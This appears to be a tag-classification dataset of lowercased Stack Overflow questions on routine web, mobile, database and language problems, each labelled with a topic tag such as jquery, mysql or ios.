css: aligning overlays  i m trying to create a responsive design logo  using 2 strings  both slightly transparent. the strings are in different sizes  with the second on top of the first.     i ve nearly got what i want (<a href= http://www.w3schools.com/css/tryit.asp filename=trycss_color  rel= nofollow >try</a> the html below) however i would like the right hand edge of the 2 strings to align - the div extends to the width of the browser and the overlap changes with the width of the display.     because i want to give the browser some choices over how it s rendered i would rather not use measurements in pixels.    if it is at all relevant - i plan to add additional elements either side of the div.    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;style&gt; .outertext {     position: relative;     font-family: arial sans-serif;     font-weight: 900;     font-size: 800%;     text-align:center;     letter-spacing: -0.1em;     color: red;     opacity: 0.2;     top: 0;     left: 0; } .innertext {     position: absolute;     font-family: arial sans-serif;     font-weight: 900;     font-size: 600%;     text-align:right;     letter-spacing: -0.1em;     float: right;     color: blue;     opacity: 0.2;     z-index: 1;     right: 0;     bottom: 0; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; and the result is....&lt;br /&gt; &lt;div style= position:relative &gt;     &lt;span class= outertext &gt;outertxt&lt;/span&gt;     &lt;span class= innertext &gt;innertxt&lt;/span&gt; &lt;/div&gt; &lt;hr /&gt; ...nearly right - but the rt edges are not (necessarily) aligned &lt;/body&gt; &lt;/html&gt; </code></pre>   update: <a href= http://jsfiddle.net/6qztk/  rel= nofollow >jsfiddle here</a>,css
.net: moving file from one directory to another and avoid the name collision  how do you move a file after generating it to another folder without having name collision problem     for example  i generate a csv file name foo_20090820.csv and if i run the program again later on 08/20/2009 then the file will be foo_20090820.csv since on my target folder there already an file generated before the second file. the program will run into an error.     i tried looking into the target folder for the same file name and add some random number in front the second file but it didn t work quite well.     any idea,.net
suggestions to create lines in javascript  i am new to javascript  and trying to create a function that will draw lines on the canvas. this is currently what i have and it s not working.  i may be doing unnecessary things and i need some suggestions for this code.   <pre><code>function start(){ var count = 5; for(var i = 0; i &lt; count; i++){ var row = 0; var rect = new rectangle(100  100); rect.setposition(0  row); rect.setcolor(color.blue);  var rect1 = new rectangle(100  100); rect1.setposition(100  row); rect1.setcolor(color.red);  var rect2 = new rectangle(100  100); rect2.setposition(200  row); rect2.setcolor(color.blue);  var rect3 = new rectangle(100  100); rect3.setposition(300  row); rect3.setcolor(color.red);    add(rect); add(rect1); add(rect2); add(rect3); row + 100; }    } </code></pre>,javascript
list control data filter asp.net  i have a list control. i have data coming from the object. there is field called status id in that object.    i have a drop down box. the drop down contains a status id field.    initially all the data is being popualted.     when i click on filter by selecting an option in the  dropdown i want my list to be loaded with the status field equal to the selecetd value value in drop down.    in page load i am using foreach to populate the list control. where do i put the filter statement in of drop down code. shall i put it in if(!ispostback) or outside the postback.    because everytime i select the value from the drop down the list populates with the default values.    please help me.,asp.net
this code:  performclick()   doesn t work completely  <pre><code>    checkbox1.setonclicklistener(new view.onclicklistener() {         public void onclick(view v) {             if (checkbox1.ischecked()) {                 dothis();             } else {                 dothis();             }         }     });    private void dothis() {        string sar= 1 ;            try {         if (sar.equals(  )) {             l_view.performitemclick(l_view  integer.parseint(integer.parseint(sar))  l_view.getitemidatposition(integer.parseint(sar)));         }         if (sar.equals( 1 )) {             l_view.performitemclick(l_view  integer.parseint(integer.parseint(sar))  l_view.getitemidatposition(integer.parseint(sar)));         }      } catch (exception e) {     } } </code></pre>   this code works very well if i click the checkbox manually.     but if i use <code>checkbox1.performclick();</code> checkbox is checked but <code>dothis()</code> not working.     how can i do this  thanks for helping.,android
launch app into foreground with pushkit / voip  my app is registered for background modes: voice over ip  background fetch and remote notifications.    i successfully receive voip push notifications with the code below  but i am unable to launch the app to receive the call.  how can i launch the app without any user interaction when the voippush is received    <pre><code>import uikit import pushkit  @uiapplicationmain class appdelegate: uiresponder  uiapplicationdelegate  pkpushregistrydelegate {  var voipregistry:pkpushregistry! var window: uiwindow   func application(application: uiapplication  didfinishlaunchingwithoptions launchoptions: [nsobject: anyobject] ) -&gt; bool {     voipregistry = pkpushregistry(queue: dispatch_get_main_queue())     voipregistry.delegate = self     voipregistry.desiredpushtypes = set([pkpushtypevoip])     print( voip push registered )      return true }  func pushregistry(registry: pkpushregistry!  didupdatepushcredentials credentials: pkpushcredentials!  fortype type: string!) {     let voiptoken: string! = credentials.token.description     print( \n\n##### pushkit credential: \n\n   voiptoken) }  func pushregistry(registry: pkpushregistry!  didreceiveincomingpushwithpayload payload: pkpushpayload!  fortype type: string!) {     let data = payload.dictionarypayload     print( \n\n##### received pushkit data: \n\n   data)     let storyboard: uistoryboard = uistoryboard(name:  main   bundle: nil)     let videocallviewcontroller = storyboard.instantiateviewcontrollerwithidentifier( videocallviewcontroller )     window!.rootviewcontroller = videocallviewcontroller  } } </code></pre>,ios
how to display a data with 0 value in mysql  i have a table named tbllog  it s field is type  userid  action  datelog. the userid is a foreign key coming from tbluser. some userid in my tbllog is 0 and i can t seem to display it using these query.   <pre><code>select * from tbllog inner join tbluser on (tbluser.userid = tbllog.userid) </code></pre>   it does display a rows consist of non-zero userid. my question is how to display all the data from tbllog whether the userid is 0 or not,mysql
how to do  show tables as col  alike stuff  <pre><code>mysql&gt; show tables; +----------------+ | tables_in_test | +----------------+ | t              | | t2             | | test           | +----------------+ 3 rows in set (0.00 sec)   mysql&gt; show tables as c; error 1064 (42000): you have an error in your sql syntax; </code></pre>   i want to restore the result in column named <code>c</code> but as you see it s syntax error...    is there a way to do it at all,mysql
sql query which counts the top search terms and orders by that <pre><code>select searchterm  customerid  createdon from         searchlog  where     createdon &gt;= dateadd(day  datediff(day  0  getdate())  -5) group by searchterm  customerid  createdon </code></pre>   i want to add one more column  which will be count(searchterm) and i want to order the query by the searchterm which is mostly searched for. and the column should say how many times the searchterm is searched. thanks for your help,sql
finding a number in a range that is divisible by all element in array  i have a number and an array  i would like to find the number in range (1  number) that is divisible by all elements in that array  how would i write code for that     thank you.,javascript
how to see/display/debug the selected dom nodes with jquery   is there any good way to see/debug the result of a jquery selector      let s say we have something like this   <pre><code>var arr = $( div &gt; span ).parent(); </code></pre>   how can i see what the selector contains     <h2>update</h2>   just to make this a bit harder: can i do the same in <a href= http://jsfiddle.net/  rel= nofollow noreferrer >http://jsfiddle.net/</a>,jquery
the process cannot access the file.xlsx  because it is being used by another process. while exporting data from aspx to an excel file  <strong>when i try to export i got an exception which says</strong> that the  process cannot access the file  mypath\filename.xlsx  because it is being used by another process  the exception is thrown when i try to export and it is tracked back to the line <strong>byte[] content = file.readallbytes(filename);</strong> so i don t understand the problem. am not using file stream to read data    here are the codes i used    <pre><code>protected void btnexport_click(object sender  eventargs e)     {         using (mydatabaseentities dc = new mydatabaseentities())         {             list&lt;employeemaster&gt; emlist = dc.employeemasters.tolist();             stringbuilder sb = new stringbuilder();             if (emlist.count &gt; 0)             {                 string filename = path.combine(server.mappath( ~/importdocument )  datetime.now.tostring( ddmmyyyyhhmmss ) +  .xlsx );                 string constring =  provider=microsoft.ace.oledb.12.0; data source=  + filename +  ; extended properties= excel 12.0;hdr=yes  ;                 using (oledbconnection con = new oledbconnection(constring))                 {                     string strcreatetab =  create table employeedata(  +                      [employee id] varchar(50)   +                      [company name] varchar(200)   +                      [contact name] varchar(200)   +                      [contact title] varchar(200)   +                      [employee address] varchar(200)   +                      [postal code] varchar(50)) ;                     if (con.state == connectionstate.closed)                     {                         con.open();                     }                     oledbcommand cmd = new oledbcommand(strcreatetab  con);                     cmd.executenonquery();                     string strinsert =  insert into employeedata([employee id] [company name]   +  [contact name] [contact title] [employee address]  [postal code]  +                      )values(           ) ;                     oledbcommand cmdins = new oledbcommand(strinsert  con);                     cmdins.parameters.add(     oledbtype.varchar  50);                     cmdins.parameters.add(     oledbtype.varchar  200);                     cmdins.parameters.add(     oledbtype.varchar  200);                     cmdins.parameters.add(     oledbtype.varchar  200);                     cmdins.parameters.add(     oledbtype.varchar  200);                     cmdins.parameters.add(     oledbtype.varchar  50);                     foreach (var i in emlist)                     {                         cmdins.parameters[0].value = i.employeeid;                         cmdins.parameters[1].value = i.companyname;                         cmdins.parameters[2].value = i.contactname;                         cmdins.parameters[3].value = i.contacttitle;                         cmdins.parameters[4].value = i.employeeaddress;                         cmdins.parameters[5].value = i.postalcode;                         cmdins.executenonquery();                     }                     //create downloadable file                     byte[] content = file.readallbytes(filename);                     httpcontext context = httpcontext.current;                     context.response.binarywrite(content);                     context.response.contenttype =  application/vnd.openxmlformats-officedocument.spreadsheetml.sheet ;                     context.response.appendheader( content-disposition    attachment; filename=employeedata.xlsx );                     context.response.end();                     con.close();                 }             }         }     } } </code></pre>   so help me please,asp.net
pass by reference using *this from const member function doesn t compile   i m following along some sample code  but i m getting an error from it that i don t know how to fix properly.  i m getting an error passing *this as a reference. here s the relevant code:    <pre><code>//shaderec.h  class world;  class shaderec { public:   world&amp; w;    shaderec(world&amp; wr) }  shaderec::shaderec(world&amp; wr) : w(wr) {}  //world.h  #include  shaderec.h  #include  ray.h   class world { public:   world();   shaderec hit_bare_bones_objects(const ray&amp; ray) const; }  shaderec world::hit_bare_bones_objects(const ray&amp; ray) const {     shaderec sr(*this);     //do stuff with sr     return sr; } </code></pre>   the error is happening in hit_bare_bones_objects where i declare shaderec sr(*this); the error is:   <blockquote>    1>  error c2664:  shaderec::shaderec(const   shaderec &amp;)  : cannot convert argument 1 from  const world  to  world   &amp; <br>   1>  conversion loses qualifiers  </blockquote>   what is the correct way to do this,c++
jquery post method with mvc5 <pre><code>&lt;script type= text/javascript &gt;     $( .categories ).click(function () {         console.log( pre post );         $.post( index/home/  + $(this).attr( data-id )  function (data) {             console.log( category post success );         });     }); &lt;/script&gt; </code></pre>   can anyone tell me what is wrong with this codesnippet  :-/    my routes work perfect.   <pre><code>    public static void registerroutes(routecollection routes)     {         routes.ignoreroute( {resource}.axd/{*pathinfo} );          routes.maproute(                  default   // route name                  {controller}/{action}/{id}   // url with parameters                 new { controller =  home   action =  index }         );     } </code></pre>,jquery
iphone - uicolor leaking... need to release the object   i have a bunch of lines like this on my app   <pre><code>uicolor *mycolor = [uicolor colorwithred:corr green:corg blue:corb alpha:1.0]; </code></pre>   instruments are saying these lines are leaking. as this is not formally  as far as i see  an alloc operation (isn t it ) i don t saw the need to release the object  but as instruments are complaining  i added several lines as   <pre><code>[mycolor release] </code></pre>   after using the variable  to please the beast.    will i have problems doing this  like crashes or something     apparently doing this is solving the problem  but i am not comfortable to release an object that was not allocated.    what do you think     thanks.    <hr>  <h2><strong>e d i t</strong></h2>   i suppose this is a xcode problem or a framework leak. to prove that i replace the lines with   <pre><code>uicolor *mycolor = [[uicolor alloc] initwithred:corr green:corg blue:corb alpha:1.0]; </code></pre>   and then the object could be safely released...     doing that  solved the problem.,iphone
parsing json string with different local (no english)  i got below json string  i facing issue parsing because it contains non english local:   <blockquote>    { error :0  token : 59188a107d705f8c51585d719769e0642ce98b79d86fdace30dbc58efba301cc   status : 200   messages :[{ update_time : 2012-03-31   22:50:13   seq : 497   lng :58.4235  msg :<strong><em> hhhh : ≈∏ ≈∏    √ø‚ñ¢√ø‚ñ¢√ø√ü≈∏ √ø‚ñ¢  </em></strong>  lat :23.5866}]  error_msg :  }  </blockquote>   i m trying with below code:   <pre><code>nserror* error;     nsdictionary* json = [nsjsonserialization jsonobjectwithdata:responsedata //1                                                          options:kniloptions                                                             error:&amp;error]; </code></pre>   it works fine if it s in english only  how could i parse non english local in json.,ios
can i create a table without a primary key   i want to create a table without a primar key:    users_models    user_id model_id    i have a users table  but the model_id value is actually going to come from a enumeration that i have in my code.    so i don t need a primary key on this table  can i in my migration tell it so it doesn t create one,ruby-on-rails
getting 2 seperate time values using regex in java  so far i have successfully got the time values from a text file.  09:00 19:00 . this is what the time values are set out like in the text file. is there any way to get it so these 2 values are seperate. like  start time - 09:00  and  end time - 19:00 . i have been able to get the values  09:00 19:00  from the text file. it is just the ability to seperate them that i cannot find    <pre><code>string available = null;         boolean isavail;         date day = new date();          simpledateformat simpledateformat = new simpledateformat( eeee );         string token1 =   ;          scanner infile1 = new scanner(new file( d:\\jordanstown\\netbeans projects\\com373\\availabilty update file.txt )).usedelimiter(  \\s* );          list&lt;string&gt; availability = new arraylist&lt;string&gt;();          while (infile1.hasnext())              {                 token1 = infile1.next();                 availability.add(token1);                 }         infile1.close();       string[] availabilityarray = availability.toarray(new string[0]);      string searcharray = simpledateformat.format(day);     for (string curval : availabilityarray)     {         if (curval.contains(searcharray))         {         pattern pattern = pattern.compile(  (.* )  );         matcher matcher = pattern.matcher(curval);             if (matcher.find())             {                 //system.out.println(matcher.group(1));                 available = matcher.group(1);              }         }     }     //i would want to have these 2 strings being the 2 times from the text file     string timestart =  14:00 ;     string timeend =  20:00 ;      localtime start = localtime.parse(timestart);     localtime stop = localtime.parse(timeend);     localtime now = localtime.now();     if (now.isafter(start) &amp;&amp; now.isbefore(stop))      {         isavail = true;         system.out.println(isavail);     }else{         isavail=false;         system.out.println(isavail);     } </code></pre>   thank you for any help in advance,java
rails: how to make select field display informations from few columns and return only one  i m trying to make a select field that will display few informations from my db (it will be more user friendly) and return only id of chosen record. i m not sure if it s possible to make it the  rails way  and this is why i m writing this question. in my code i have:   <pre><code>&lt;%= f.select :workerid  user.where(isworker: true).pluck(:id  :last_name) %&gt; </code></pre>   at the moment this select is displaying only ids of users (without names) and that s really annoying me. i was trying to use .collect  or .map  but it was working the same way. it would be great if someone could show me how to display multiple columns in this select.    the second thing is  if i can manage to do it  how to make it send to db only id of chosen user. i think this is possible to do in jquery but i will be thankful if someone would tell me if i can do it in ruby language.,ruby-on-rails
how to add date picker control to my toolbox  i am using visual studio 2005 and i have added datepicker dll in my bin folder.and by doing right click on solution explorer  add:references choosed the that dll.but i want display that control in my toolbar.does i need to create tab for it.or it automatically get created.,asp.net
checking the value of current object value against others  i am trying to remove all duplicate objects with the same value in one property.i have <code>courses[]</code> objects and they all contain a <code>courselevel</code> that is composed of one four digit <code>integer</code>.    i am incrementing <code>x</code> from <code>0</code> in a loop and storing the data and reseting it every iteration of the loop to store new information in the next incremented <code>courses[x]</code> object.   <pre><code>        for (int n = 0; n &lt; courses.length; n++) {             if (courses[x].getcourselevel() == courses[n].getcourselevel()) {                 system.out.println( duplicate  + courses[x]);             }            } </code></pre>   as you can see i start with <code>courses[x]</code> and want to check if its <code>courselevel</code> is equal to any of the other objects that have been created to that point but the problem is it checks its self how can i check all <code>courses[n]</code> except <code>courses[x]</code>    tried using equals() but couldn t compare int types.,java
how to make a not .net assembly  as i have knew that all .net assemblies can be decompiled ( view its source code ) and i know that there s obfuscator to protect the source but also its can be de-obfuscated so i wanted to make a tool that s not a .net assembly,.net
trying to send mail alert for mysql  how to send mail alert for mysql     can we send alerts when the mysql has large number of connections  or mysql is not responding properly. can someone help me to solve this prolem,mysql
simple jquery fade in bg question  im trying to have my background fade in onclick with jquery and im unsure on how to do it. here is my code:   <pre><code>$( .work ).click( function(){      $( body ).removeclass( bg2   bg3 ).addclass( bg1 ); });  $( .about ).click( function(){      $( body ).removeclass( bg1   bg3 ).addclass( bg2 ); });  $( .contact ).click( function(){      $( body ).removeclass( bg1   bg2 ).addclass( bg3 ); });  </code></pre>   thanks :d,jquery
explain this-> nslog(@ teststring: %@   teststring); <pre><code>nslog(@ teststring: %@   teststring); </code></pre>   p.s. the second teststring is a pointer to a nsstring.    i found the above in a tutorial  and it says (%@ means an objective-c object).    so  what does the first @ do,objective-c
jquery click function is not working  i ve seen this question before but all the answers i saw do not apply to my particular problem.  most of the ones i ve seen were caused by the click not being used in a document ready function.  all of the stuff in setup_calenders and disable_items is happening but no alert pops up when the checkbox is clicked.   <pre><code>$(document).ready(setup)  function setup() { $( id_clearance ).click(enable_clearance); $( id_paperwork ).click(enable_paperwork); $( id_avsupport ).click(enable_support); setup_calendars(); disable_items(); }  function enable_paperwork() { alert( clicked ); } </code></pre>,jquery
is there a document way to create thumbnail from uiimage/uiimageview   i hope to create thumbnail from an uiimage/uiimageview. there are some undocument solution: <a href= http://ofcodeandmen.poltras.com/2008/10/30/undocumented-uiimage-resizing/  rel= nofollow >http://ofcodeandmen.poltras.com/2008/10/30/undocumented-uiimage-resizing/</a> ..    i wonder if there is a documented way to create thumbnail from uiimage/uiimageview     thanks    interdev,iphone
how to use callbacks in my own code  here i update my world to include the canvas size   <pre><code>world.getviewport().updateviewportsize(width height); </code></pre>   is there a better way to do this   is there a way that i can automatically update my world object without having to manually call it in the setsurfacesize method but instead call it from my world class     my guess is that i can use some sort of callback  but i don t understand them!   <pre><code>/* callback invoked when the surface dimensions change. */ public void setsurfacesize(int width  int height) {     // synchronized to make sure these all change atomically     synchronized (msurfaceholder) {         mcanvaswidth = width;         mcanvasheight = height;         world.getviewport().updateviewportsize(width height);     } } </code></pre>,android
how can i set globalizationsection.culture on page load   i have a web page that i want to display dates on  dynamic to the culture code the user has defined.    i can set my web.config up like below to achieve what i want:   <pre><code>&lt;system.web&gt;   &lt;globalization culture= fr-ca /&gt; &lt;/system.web&gt; </code></pre>   however  i want this to be user defined  so when they log in it automatically changes.    any idea how i can do this,.net
add a class if the clicked element does not contain <a> children  at the moment when clicking a box  this box is added a class with this code:   <pre><code>$( #box ).click(function(ev) {      $(this).addclass( new ); }); </code></pre>   now i want an addition so that the class is <em>only added if</em> that box does not contain a <code>&lt;a&gt;</code> link on the first level (it s children may contain links  but no children may be links). something along the lines of this:   <pre><code>$( #box ).click(function(ev) {      $(this).( :not(:has(a)) ).addclass( new ); }); </code></pre>   i hope you understand my intention. any good methods for this,jquery
show iframe inside another frame  i need to create html-document where half of the page(on the left) - list of hyperlinks(<code>lab2.6-giper.html</code>). on the right there are two frames(up and down). in the up frame i show pages from list  in the down frame i need to show iframe with some page(<code>lab2.7-giper_ris.html</code>). but it didn t show me iframe. what s the problem    <pre><code>&lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt; &lt;/head&gt; &lt;frameset cols= 50% * &gt;     &lt;frameset&gt;         &lt;frame name= left  src= lab2.6-giper.html  target= frame_left_up &gt;     &lt;/frameset&gt;     &lt;frameset rows= 50% * &gt;         &lt;frame name= frame_right_up &gt;         &lt;frameset&gt;             &lt;iframe name= frame_right_down  src= lab2.7-giper_ris.html &gt;frame&lt;/iframe&gt;         &lt;/frameset&gt;     &lt;/frameset&gt; &lt;/frameset&gt; &lt;/html&gt; </code></pre>,html
can not pass html form data to php file  i am using wamp and my html form is not sending data to php file.     my html file is   <pre><code>&lt;html&gt; &lt;body&gt; &lt;form acton= process.php  method= post &gt;  quantity: &lt;input name = quantity  type = text  /&gt;     &lt;input type= submit /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and my php file process.php is as under   <pre><code>&lt;html&gt; &lt;body&gt; &lt; php $quantity=$_post[ quantity ];  echo $quantity;   &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
jquery - table & link detect show & hide  when i hover on the tr the block will show  but when mouse move to  tag the block will hidden. how to do when hover the link or text the block keep display     <strong>css</strong>   <pre><code>.block{ display:none;width:50px; height:50px; background-color:#ccc;} td{ border:1px solid #999;} </code></pre>   <strong>html</strong>   <pre><code>&lt;table width= 300  border= 0  cellspacing= 0  cellpadding= 15 &gt;   &lt;tr&gt;     &lt;td&gt;&lt;a href= # &gt;test1&lt;/a&gt;&lt;div class= block &gt;1&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;a href= # &gt;test2&lt;/a&gt;&lt;div class= block &gt;2&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;a href= # &gt;test3&lt;/a&gt;&lt;div class= block &gt;3&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;a href= # &gt;test4&lt;/a&gt;&lt;div class= block &gt;4&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;a href= # &gt;test5&lt;/a&gt; &amp;&amp; &lt;strong&gt;boldtext&lt;/strong&gt;&lt;div class= block &gt;5&lt;/div&gt;     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   <strong>js</strong>   <pre><code>$(document).ready(function () {          $( tr ).hover(function(){              $(this).find( .block ).show();         });          $( tr ).mouseout(function(){              $(this).find( .block ).hide();         });  }); </code></pre>,jquery
why is my console complaining about a syntax error  i have been following a guide on udemy on javascript. the guy who was doing helped me out alot but then i got a syntax error telling me to put in a semi colon. i put it in but then it didnt run properly. please take a look.   <pre><code>function calculatemousepos(evt) { var rect = canvas.getboundingclientrect(); var root = document.documentelement; var mousex = evt.clientx - rect.left - root.scrollleft; var mousey = evt.clienty - rect.top - root.scrolltop; return  {         x:mousex          y:mousey }; } </code></pre>,javascript
strange pointer warning while printing directory listing  i have the following code to print the directory listing in unix.   <pre><code>struct dirent *res; struct dir *dir; scanf( %s  str); dir=opendir(str); if(dir==null) {     perror( invalid directory );     return 1; } res=(struct dirent *)readdir(dir); while(res) {     printf( %s\n  res-&gt;d_name);     res=(struct dirent *)readdir(dir); } </code></pre>   when i compile the above code i get the following warning   <pre><code>ls.c:16:17: warning: passing argument 1 of ‘readdir’ from incompatible pointer type          [enabled by default] /usr/include/dirent.h:164:23: note: expected ‘struct dir *’ but argument is of type       ‘struct dir *’ ls.c:20:21: warning: passing argument 1 of ‘readdir’ from incompatible pointer type       [enabled by default] /usr/include/dirent.h:164:23: note: expected ‘struct dir *’ but argument is of type      ‘struct dir *’ </code></pre>   what does gcc exactly mean when it says  expected argument <code>foo</code> but argument is of type <code>foo</code>      i also tried using <code>struct dir dir</code> instead of <code>*dir</code> and <code>&amp;dir</code> instead of <code>dir</code> but it results in following error   <pre><code>ls.c:7:12: error: storage size of ‘dir’ isn’t known </code></pre>   ps:the output of the code is perfectly ok.,c
"first-child / last-child different hover styles  i want to make the gradient effect with the darker side on the left for <code>previous</code> and the darker side on the right for <code>next</code>. here is what i tried so far: <a href= https://jsfiddle.net/jn87640p/4/  rel= nofollow noreferrer >https://jsfiddle.net/jn87640p/4/</a>    what am i missing      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.calnav {
   font-size: 1.3em;
   color: #000;
   height: 35px;
   line-height: 35px;
   border-radius: 8px;
   background: white;
 }
 
 .calnav:first-child:hover {
   background: #537d8d;
   background: -moz-linear-gradient(left  rgba(33  21  32  1) 0%  rgba(255  255  255  0) 100%);
   /* ff3.6-15 */
   background: -webkit-linear-gradient(left  rgba(33  21  32  1) 0%  rgba(255  255  255  0) 100%);
   /* chrome10-25 safari5.1-6 */
   background: linear-gradient(to right  rgba(33  21  32  1) 0%  rgba(255  255  255  0) 100%);
   /* w3c  ie10+  ff16+  chrome26+  opera12+  safari7+ */
   filter: progid:dximagetransform.microsoft.gradient( startcolorstr= #211520   endcolorstr= #00ffffff   gradienttype=1);
   /* ie6-9 */
 }
 
 .calnav:last-child:hover {
   background: #537d8d;
   background: -moz-linear-gradient(left  rgba(255  255  255  0) 0%  rgba(253  253  253  0) 1%  rgba(37  26  36  1) 98%  rgba(33  21  32  1) 100%);
   /* ff3.6-15 */
   background: -webkit-linear-gradient(left  rgba(255  255  255  0) 0%  rgba(253  253  253  0) 1%  rgba(37  26  36  1) 98%  rgba(33  21  32  1) 100%);
   /* chrome10-25 safari5.1-6 */
   background: linear-gradient(to right  rgba(255  255  255  0) 0%  rgba(253  253  253  0) 1%  rgba(37  26  36  1) 98%  rgba(33  21  32  1) 100%);
   /* w3c  ie10+  ff16+  chrome26+  opera12+  safari7+ */
   filter: progid:dximagetransform.microsoft.gradient( startcolorstr= #00ffffff   endcolorstr= #211520   gradienttype=1);
   /* ie6-9 */
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container-fluid calnav_head &gt;
   &lt;div class= row text-center &gt;
     &lt;div class= col-md-3 &gt;
       &lt;a href= # &gt;
         &lt;div class= calnav &gt;&lt;i class= fa fa-angle-double-left pull-left  aria-hidden= true &gt;&lt;/i&gt; previous&lt;/div&gt;
       &lt;/a&gt;
     &lt;/div&gt;
     &lt;div class= col-md-6 calnav_head_title &gt;
       &lt;h1&gt;july - 2017&lt;/h1&gt;
     &lt;/div&gt;
     &lt;div class= col-md-3 &gt;
       &lt;a href= # &gt;
         &lt;div class= calnav &gt;next &lt;i class= fa fa-angle-double-right pull-right  aria-hidden= true &gt;&lt;/i&gt;&lt;/div&gt;
       &lt;/a&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
how to combine multidimensional array on basis of keys <pre><code>hi i have two arrays in my controller function following  i want final array with merged of     matched keys of both arrays to use further it as flowing:  //array1  array (     [0] =&gt; array        (             [ledgerid] =&gt; 573c321e6e3dcec3228b4567             [ledgername] =&gt; purchase1             [panitno] =&gt; itr00123             [dateofpayment] =&gt; 08-dec-2015             [totalamountpaid] =&gt; 9800             [tdsrate] =&gt; 2             [totaldudections] =&gt; 10000         )  [1] =&gt; array     (         [ledgerid] =&gt; 573befb96e3dceb6468b4567         [ledgername] =&gt; development fund         [panitno] =&gt; dfdsfdsf         [dateofpayment] =&gt; 13-jan-2016         [totalamountpaid] =&gt; 18000         [tdsrate] =&gt; 10         [totaldudections] =&gt; 20000     ) </code></pre>   )      //array2   <pre><code>    array    (     [0] =&gt; array         (            [amountdeposited] =&gt; 200            [dateofdeposited] =&gt; 25-feb-2016            [challanumber] =&gt; 1234      )      [1] =&gt; array         (         [amountdeposited] =&gt; 2000         [dateofdeposited] =&gt; 25-feb-2016         [challanumber] =&gt; 1234        )  )  i want output like following merged matched keys of both arrays into one final array: array( [0] =&gt; array    (         [ledgerid] =&gt; 573c321e6e3dcec3228b4567         [ledgername] =&gt; purchase1         [panitno] =&gt; itr00123         [dateofpayment] =&gt; 08-dec-2015         [totalamountpaid] =&gt; 9800         [tdsrate] =&gt; 2         [totaldudections] =&gt; 10000          [amountdeposited] =&gt; 200         [dateofdeposited] =&gt; 25-feb-2016         [challanumber] =&gt; 1234      ) [1] =&gt; array    (         [ledgerid] =&gt; 573befb96e3dceb6468b4567         [ledgername] =&gt; development fund         [panitno] =&gt; dfdsfdsf         [dateofpayment] =&gt; 13-jan-2016         [totalamountpaid] =&gt; 18000         [tdsrate] =&gt; 10         [totaldudections] =&gt; 20000          [amountdeposited] =&gt; 2000         [dateofdeposited] =&gt; 25-feb-2016         [challanumber] =&gt; 1234      ) </code></pre>   ) how to combine key s of both arrays to get desired result   how to combine key s of both arrays to get desired result  how to combine key s of both arrays to get desired result  how to combine key s of both arrays to get desired result  how to combine key s of both arrays to get desired result  how to combine key s of both arrays to get desired result                                                                               thanks in advance,php
sql order by datetime and then by string  i have a varchar column that i have datetime values and now string values.  i need to order by the datetime value and list all the string values at the bottom.  i have the following for the datetime:   <pre><code>order by cast(q2.[due date] as datetime)  </code></pre>   but my results have the value  on hold  throughout my results. i need the  on hold  to be on the bottom of the list.,sql
mpmovieplayerviewcontroller videos with transparent background  i would like to play inside my app a video which has a transparent background. it has a man moving around on a transparent background. the only problem is that the mpmovieeplayer seems to have a black background. how can i make it transparent     this is the code i tried:   <pre><code>-(void)playmovie {        nsstring *resourcepath = [[nsbundle mainbundle] pathforresource:@ syncink movie  oftype:@ m4v ];        nslog(@ %@  resourcepath);        nsurl *url = [nsurl fileurlwithpath:resourcepath];        nslog(@ %@  url);         mpmovieplayerviewcontroller *movieplayer;         movieplayer = [[mpmovieplayerviewcontroller alloc] initwithcontenturl:url];         movieplayer.movieplayer.shouldautoplay=yes;        movieplayer.movieplayer.controlstyle = mpmoviecontrolstylenone;        [movieplayer.movieplayer setfullscreen:no animated:yes];        [self.view addsubview:movieplayer.view];         movieplayer.view.frame = cgrectmake(200  600  400  300);         [movieplayer.movieplayer play];         movieplayer.view.backgroundcolor = [uicolor clearcolor];         for(uiview *asubview in movieplayer.view.subviews)         {           asubview.backgroundcolor = [uicolor clearcolor];        } } </code></pre>   but    <blockquote>    asubview.backgroundcolor = [uicolor clearcolor];  </blockquote>   seems to be removing the frame of the player  not the actual background. thanks for any help.,ios
adding an array element to an array in php  just confused on appending an array to another array. my intention is to supply the search parameter to the $arg array.   <pre><code>$args = array(                        posts_per_page  =&gt; -1                        post_type     =&gt;  product                         meta_key      =&gt; $orderby                        orderby   =&gt; $num_orderby                        order         =&gt; $order); </code></pre>   i want to add an another element <code> s            =&gt;  $search_str to $arg array.</code>,php
angular how to get the video id from a full youtube url  in my data object i have a full youtube url (<a href= http://www.youtube.com/watch v=kj9g_-p3dla  rel= nofollow >http://www.youtube.com/watch v=kj9g_-p3dla</a>).     in my partial i need to extract the video id from this string (kj9g_-p3dla). i m trying not to resort to running through all my data when the app starts and extracting the video id through that way.     i m looking for a filter or a directive that i can feed the full youtube id to which will return the video id. anyone,angularjs
